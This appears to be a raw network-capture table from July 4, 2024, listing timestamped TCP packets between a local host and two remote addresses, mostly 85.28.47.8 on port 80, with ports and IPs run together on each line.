                                                              Jul 4, 2024 11:16:17.408715963 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.408725977 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.408786058 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.408842087 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.408853054 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.408864021 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.408879042 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.408890009 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.408900976 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.408922911 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.444210052 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.444243908 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.444282055 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.444325924 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.444345951 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.444359064 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.444359064 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.444372892 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.444385052 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.444396973 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.444420099 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.444500923 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.444511890 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.444529057 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.444540024 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.444550037 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.444561005 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.444574118 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.444583893 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.444595098 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.444668055 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.444976091 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.444987059 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.444998026 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.445008993 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.445036888 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.445142031 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.445152998 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.445164919 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.445175886 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.445187092 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.445187092 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.445199013 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.445204973 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.445213079 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.445216894 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.445229053 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.445235014 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.445242882 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.445265055 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.445280075 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.445580959 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.445591927 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.445601940 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.445612907 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.445622921 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.445627928 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.445642948 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.445667982 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.445736885 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.445749044 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.445760012 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.445770025 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.445781946 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.445792913 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.445825100 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.445884943 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.445897102 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.445941925 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.446037054 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.446082115 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.455068111 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.455082893 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.455097914 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.455113888 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.455128908 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.455151081 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.455151081 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.455187082 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.455200911 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.455224037 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.455235958 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.455272913 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.455687046 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.455696106 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.455707073 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.455744028 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.455859900 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.455872059 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.455884933 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.455895901 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.455905914 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.455924034 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.456021070 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.456032038 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.456043005 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.456053972 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.456073999 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.456099987 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.456161022 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.456178904 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.456188917 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.456199884 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.456202984 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.456227064 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.456335068 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.456348896 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.456362009 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.456379890 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.456393957 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.456494093 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.456505060 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.456545115 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.456641912 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.456654072 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.456669092 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.456677914 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.456688881 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.456697941 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.456700087 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.456712008 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.456721067 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.456723928 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.456748962 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.456779003 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.456792116 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.456803083 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.456826925 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.456837893 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.456989050 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.457000017 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.457010031 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.457020044 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.457031012 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.457035065 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.457073927 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.457133055 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.457144976 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.457154036 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.457175016 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.457324028 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.457365990 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.457490921 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.457503080 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.457514048 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.457525969 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.457535982 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.457536936 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.457567930 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.458821058 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.458832026 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.458842993 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.458853006 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.458863974 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.458873034 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.458909988 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.458956003 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.458967924 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.458977938 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.458988905 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.459000111 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.459007978 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.459029913 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.459103107 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.459147930 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.459259033 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.459271908 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.459283113 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.459309101 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.499146938 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.499157906 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.499155998 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.499169111 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.499221087 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.499301910 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.499313116 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.499322891 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.499335051 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.499347925 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.499372959 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.523297071 CEST440549724176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:17.534399986 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.534410954 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.534421921 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.534431934 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.534463882 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.534498930 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.534549952 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.534554958 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.534568071 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.534579039 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.534590006 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.534615040 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.534653902 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.534737110 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.534749031 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.534790993 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.534897089 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.534912109 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.534923077 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.534933090 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.534965992 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.534992933 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.535012007 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.535024881 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.535033941 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.535044909 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.535054922 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.535058975 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.535069942 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.535084009 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.535089016 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.535105944 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.535443068 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.535454035 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.535465002 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.535475016 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.535486937 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.535489082 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.535506964 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.535540104 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.535597086 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.535609961 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.535620928 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.535629988 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.535641909 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.535651922 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.535666943 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.535698891 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.535764933 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.535778046 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.535826921 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.536176920 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.536191940 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.536205053 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.536215067 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.536226034 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.536236048 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.536240101 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.536248922 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.536273956 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.540504932 CEST497244405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:17.545267105 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.545345068 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.545392036 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.545409918 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.545475006 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.545527935 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.545542955 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.545558929 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.545582056 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.545587063 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.545631886 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.545964003 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.545975924 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.545986891 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.545996904 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.546006918 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.546017885 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.546019077 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.546030998 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.546041965 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.546045065 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.546061039 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.546082020 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.546266079 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.546277046 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.546288013 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.546319962 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.546420097 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.546432018 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.546442986 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.546477079 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.546514034 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.546571016 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.546585083 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.546623945 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.546720028 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.546737909 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.546751022 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.546761036 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.546771049 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.546777010 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.546782970 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.546793938 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.546799898 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.546833038 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.546960115 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.546969891 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.546981096 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.546992064 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.547008038 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.547008991 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.547024965 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.547034979 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.547043085 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.547065020 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.547080994 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.547283888 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.547293901 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.547298908 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.547305107 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.547310114 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.547319889 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.547326088 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.547331095 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.547354937 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.547379971 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.547640085 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.547657967 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.547669888 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.547682047 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.547693014 CEST440549724176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:17.547703028 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.547703028 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.547714949 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.547724962 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.547730923 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.547744036 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.547766924 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.547784090 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.548875093 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.548887014 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.548897028 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.548908949 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.548928976 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.548957109 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.549036980 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.549048901 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.549058914 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.549104929 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.549196005 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.549252033 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.549285889 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.549299955 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.549309969 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.549320936 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.549333096 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.549335003 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.549345970 CEST804972385.28.47.8192.168.2.6
